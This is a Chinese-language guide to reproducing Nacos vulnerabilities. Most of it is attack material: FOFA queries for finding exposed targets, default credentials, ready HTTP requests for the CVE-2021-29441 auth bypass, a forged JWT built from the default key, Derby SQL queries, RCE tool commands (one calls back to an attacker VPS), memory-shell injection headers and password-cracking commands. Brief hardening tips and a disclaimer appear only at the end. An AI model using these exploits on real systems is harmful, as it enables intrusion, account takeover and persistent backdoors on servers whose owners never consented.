Nacos漏洞汇总复现
字数 1599 2025-08-29 22:41:38
Nacos漏洞复现与安全防护指南
1. Nacos简介
Nacos是一个由阿里巴巴开源的动态服务发现、配置管理和服务管理平台,用于构建云原生应用。它支持几乎所有主流类型的服务发现、配置和管理,包括Kubernetes Service、gRPC & Dubbo RPC Service、Spring Cloud RESTful Service等。
默认开放端口
- HTTP主端口: 8848(客户端、控制台及OpenAPI的HTTP通信)
- 客户端gRPC端口: 9848(客户端向服务端发起gRPC连接和请求)
- 服务端gRPC端口: 9849(服务间的数据同步)
- Jraft端口: 7848(集群管理中的选主和日志复制)
2. 资产收集方法
FOFA搜索语法
app="nacos" && port="8848"
|| icon_hash="13942501"
|| icon_hash="1227052603" && port="8848"
3. 漏洞复现
3.1 获取Nacos版本信息
访问路径:
/nacos/v1/console/server/state
3.2 默认口令漏洞
默认凭证:
nacos/nacos
访问登录页面:
http://ip:8848/nacos/#/login
3.3 未授权访问用户信息
当nacos.core.auth.enabled=false时,可直接访问:
/nacos/v1/auth/users?pageNo=1&pageSize=9
3.4 User-Agent权限绕过(CVE-2021-29441)
影响版本: <=Nacos 1.4.1
漏洞原理: 当请求头中User-Agent设置为"Nacos-Server"时,系统会跳过认证。
利用方法:
- 查看用户列表:
/nacos/v1/auth/users?pageNo=1&pageSize=100
- 添加用户(POST请求):
POST /nacos/v1/auth/users HTTP/1.1
Host: target_ip:8848
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=test&password=test123
- 删除用户:
DELETE /nacos/v1/auth/users?username=test HTTP/1.1
Host: target_ip:8848
User-Agent: Nacos-Server
3.5 默认JWT密钥未授权访问
影响版本: 0.1.0 <= Nacos <= 2.2.0
漏洞原理: 使用默认JWT密钥SecretKey012345678901234567890123456789012345678901234567890123456789生成token。
利用步骤:
- 生成未来时间戳(如2080年)
- 使用JWT.io生成token:
{
"sub": "nacos",
"iat": 1745835608
}
- 使用生成的token访问API:
/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTc0NTgzNTYwOH0.gk9tFDRWDozKj-fsLAXSxnpojBklSaOVPNbUneqTSpw
3.6 Derby未授权访问(CVE-2021-29442)
影响版本:
- Nacos <= 1.4.0(无论是否开启鉴权)
- Nacos >1.4.0(未开启鉴权时)
利用方法:
/nacos/v1/cs/ops/derby?sql=select * from users
3.7 Nacos Client Yaml反序列化漏洞
影响版本: 1.4.1
利用工具: yaml-payload
利用步骤:
- 编译生成恶意jar包
- 上传到服务器并开启web服务
- 利用Nacos配置中心触发反序列化
3.8 Hessian反序列化漏洞
影响版本:
- 1.4.0 <= Nacos < 1.4.6
- 2.0.0 < Nacos < 2.2.3
利用工具: NacosRce
命令执行:
java -jar NacosRce.jar http://target_ip:8848/nacos 7848 "whoami"
内存马注入:
- 冰蝎内存马: 请求头
x-client-data:rebeyond, Referer设置为https://www.google.com/ - 哥斯拉内存马: 请求头
x-client-data:godzilla, Referer设置为https://www.google.com/ - CMD内存马: 请求头
x-client-data:cmd, 通过cmd头执行命令
3.9 Nacos RCE漏洞
利用路径:
/nacos/v1/cs/ops/data/removal
/nacos/v1/cs/ops/derby
利用工具: Nacos_Rce
利用命令:
python Nacos_Rce.py -t vps_ip -p 5000 -u http://target_ip:8848 -c whoami
3.10 密码破解
bcrypt hash破解:
hashcat -a 0 -m 3200 hashes.txt rockyou.txt -w 3 -O -D 1,2 --show
配置文件解密(jasypt):
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringDecryptionCLI input="MecKdyPwwkD+AqUKPy1GlQ==" password="salt123" algorithm="PBEWithMD5AndDES"
4. 常用API命令
- 获取服务器状态:
http://127.0.0.1:8848/nacos/v1/console/server/state
- 精确查询用户:
http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9
- 添加用户:
curl -v --data-binary "username=test&password=123456" "http://127.0.0.1:8848/nacos/v1/auth/users"
- 修改密码:
curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -d 'username=test&newPassword=test123'
- 获取配置信息:
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
- 获取集群信息:
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes
- 用户登录:
curl --data-binary "username=nacos&password=nacos" "http://127.0.0.1:8848/nacos/v1/auth/users/login"
5. 安全建议
- 修改默认密码
- 开启鉴权(
nacos.core.auth.enabled=true) - 修改默认JWT密钥
- 限制7848端口的访问
- 及时升级到最新版本
- 监控异常API请求
- 定期审计用户和权限
6. 免责声明
本文仅用于安全研究和教育目的,所有测试应在授权环境下进行。未经授权对他人系统进行测试可能违反法律。